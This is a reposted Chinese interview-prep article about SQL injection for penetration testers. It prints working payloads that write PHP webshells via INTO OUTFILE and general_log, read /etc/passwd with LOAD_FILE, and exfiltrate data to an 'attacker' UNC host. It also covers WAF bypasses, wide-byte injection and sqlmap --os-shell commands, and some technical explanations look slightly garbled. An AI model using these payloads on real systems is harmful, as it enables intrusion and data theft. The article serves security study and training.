当前位置: 首页 > news >正文

2025年渗透测试面试题总结-02(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

SQLi

一、获取Webshell的多种思路(针对test.jsp?cid=150 )

二、变形注入绕过技巧

三、MySQL写入一句话的条件

四、MySQL 5.0+与5.0-注入差异

五、SQLMap实战注入方法

六、SQL注入Bypass技巧

七、SQL注入全解析

八、宽字节注入原理与利用

九、SQL注入检测方法

SQLi

发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?
以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路?
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
Mysql的网站注入,5.0以上和5.0以下有什么区别?
sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包?
你都了解哪些SQL注入的bypass技巧?
介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?
如何判断SQL注入,有哪些方法,说说你最常用的?

一、获取Webshell的多种思路(针对test.jsp?cid=150

  1. 直接写入Webshell

    sql?cid=150'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+ 

    条件

    • MySQL用户需具备FILE权限
    • 已知Web绝对路径(可通过@@datadir推测)
    • secure_file_priv未限制写入目录
  2. 日志文件篡改

    sql?cid=150'; SET global general_log_file='/var/www/html/log.php'; SET global general_log=on; SELECT '<?php system($_GET[cmd]);?>';--+ 

    原理:将SQL日志写入Web目录并包含恶意代码。

  3. UNION注入读取敏感文件

    sql?cid=-150 UNION SELECT LOAD_FILE('/etc/passwd'),2,3--+ 

    目的:获取配置文件(如/etc/apache2/sites-enabled/000-default.conf )定位Web路径。


二、变形注入绕过技巧

变形类型绕过方案Payload示例
Base64编码嵌套解码函数?id=MQ==' UNION SELECT 1,2,3 FROM users WHERE '1'='1 → 后端解码后执行
JSON包装闭合JSON结构{"id":"1' AND 1=2 UNION SELECT @@version,2-- "}
特殊字符过滤等价函数替换SELSELECTECT → 双写绕过(过滤SELECT

三、MySQL写入一句话的条件

  1. 核心权限
    • SHOW VARIABLES LIKE 'secure_file_priv'值为空或目标路径
    • SELECT File_priv FROM mysql.user WHERE user='当前用户' = Y
  2. 路径要求
    • 通过报错/配置文件泄露获取Web绝对路径
    • 目录需有写权限(Linux:www-data用户权限)
  3. 语句构造
    sqlUNION SELECT "<?php system($_GET['cmd']);?>",2,3 INTO OUTFILE '/var/www/shell.php'--+ 

四、MySQL 5.0+与5.0-注入差异

特性5.0以下5.0以上
信息获取暴力猜解表名/列名直接查询information_schema
Payload复杂度需盲注或基于错误可UNION联合查询
函数支持group_concat()等函数支持丰富函数

五、SQLMap实战注入方法

GET型注入

bashsqlmap -u "http://target.com/test.jsp?cid=150" --batch --dbs

POST型注入

  1. 保存请求包为post.txt
    httpPOST /login.jsp HTTP/1.1 ... username=admin&password=123 
  2. 执行:
    bashsqlmap -r post.txt -p "username" --os-shell

六、SQL注入Bypass技巧

防御方式绕过方案案例
关键字过滤大小写混合/URL编码UnIoN%55%6E%69%6F%6E
WAF规则分块传输/注释混淆/*!50000SELECT*/(MySQL特性)
参数类型数组参数污染?id=1&id=2 UNION SELECT 1,2,3--

七、SQL注入全解析

漏洞成因
用户输入未过滤直接拼接到SQL语句(如:"SELECT * FROM users WHERE id=" + input)。

防御方案

  • 参数化查询PreparedStatement绑定参数
  • 最小权限原则:数据库账户禁用FILE/EXECUTE权限
  • WAF规则:过滤UNIONSELECT等关键字

注入方式

  • 报错注入:?id=1' AND updatexml(1,concat(0x7e,@@version),1)--
  • 布尔盲注:?id=1' AND SUBSTRING(@@version,1,1)='5'--
  • 时间盲注:?id=1' AND IF(1=1,SLEEP(5),0)--

进阶利用

  • 读取文件:UNION SELECT LOAD_FILE('/etc/passwd'),1,1
  • SSRF攻击:?id=1'; SELECT LOAD_FILE('\\\\attacker\\share')--

八、宽字节注入原理与利用

原理
GBK等编码中,%df%27%df+'0x27)被解析为汉字“運”(0xdf5c),使单引号逃逸。

Payload构造

sql?cid=150%df%27 AND 1=2 UNION SELECT 1,@@version,3--+ 

修复方案

  • 统一使用UTF-8编码
  • 过滤前执行mysql_set_charset('utf8')

九、SQL注入检测方法

  1. 经典报错法
    sql?id=150' # 观察是否返回数据库错误信息
  2. 布尔逻辑法
    sql?id=150 AND 1=1 # 正常显示 ?id=150 AND 1=2 # 内容消失
  3. 时间延迟法(最隐蔽)
    sql?id=150' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--+
  4. 工具扫描法
    bashsqlmap -u "url" --level=3 --risk=3

实战经验提示

  • MySQL 5.0+优先利用information_schema快速获取表结构
  • 写入Webshell时尝试多路径(如/tmp//var/www/html//opt/
  • 遇WAF必用--tamper脚本(推荐charencode.pyapostrophemask.py
  • 无写权限时转向SMB中继攻击DNS带外数据泄露LOAD_FILE('\\\\attacker\\test')
http://www.dtcms.com/a/316879.html

相关文章:

  • 一种红外遥控RGB灯带控制器-最低价MCU
  • Redis类型之String
  • linux-单用户模式、营救模式
  • 高阶 RAG :技术体系串联与实际落地指南​
  • RHCA03--硬件监控及内核模块调优
  • 【Spring Cloud】-- RestTeplate实现远程调用
  • Java开发时出现的问题---并发与资源管理深层问题
  • 嵌入式开发学习———Linux环境下IO进程线程学习(四)
  • 《嵌入式数据结构笔记(三):数据结构基础与双向链表》
  • 应急响应排查思路
  • MLIR Bufferization
  • JWT 签名验证失败:Java 与 PHP 互操作问题解决方案
  • OpenHarmony 5.0 Settings中wifi删除密码立刻去输入密码连接,连接不上
  • 性能测试终极指南:从指标到实战
  • 自动驾驶中的传感器技术24——Camera(15)
  • Mybatis的应用及部分特性
  • 机器学习——集成学习(Ensemble Learning):随机森林(Random Forest),AdaBoost、Gradient Boosting,Stacking
  • 企业级Redis Cluster部署详解及演练
  • 森赛睿科技成为机器视觉产业联盟会员单位
  • 解决cv::dilate处理后的图像边缘像素出现异常值的问题
  • 结构化设计工具与技术详解
  • Spring 的优势
  • 内部排序算法总结(考研向)
  • 从递归到动态规划-解码方法Ⅱ
  • 软件测试面试如何避坑呢?
  • 8.5 各种攻击实验
  • 使用 BAML 模糊解析改进 LangChain 知识图谱提取:成功率从25%提升到99%
  • 无人机陀螺仪模块技术解析
  • SQL的LEFT JOIN优化
  • 【C语言】动态内存管理详解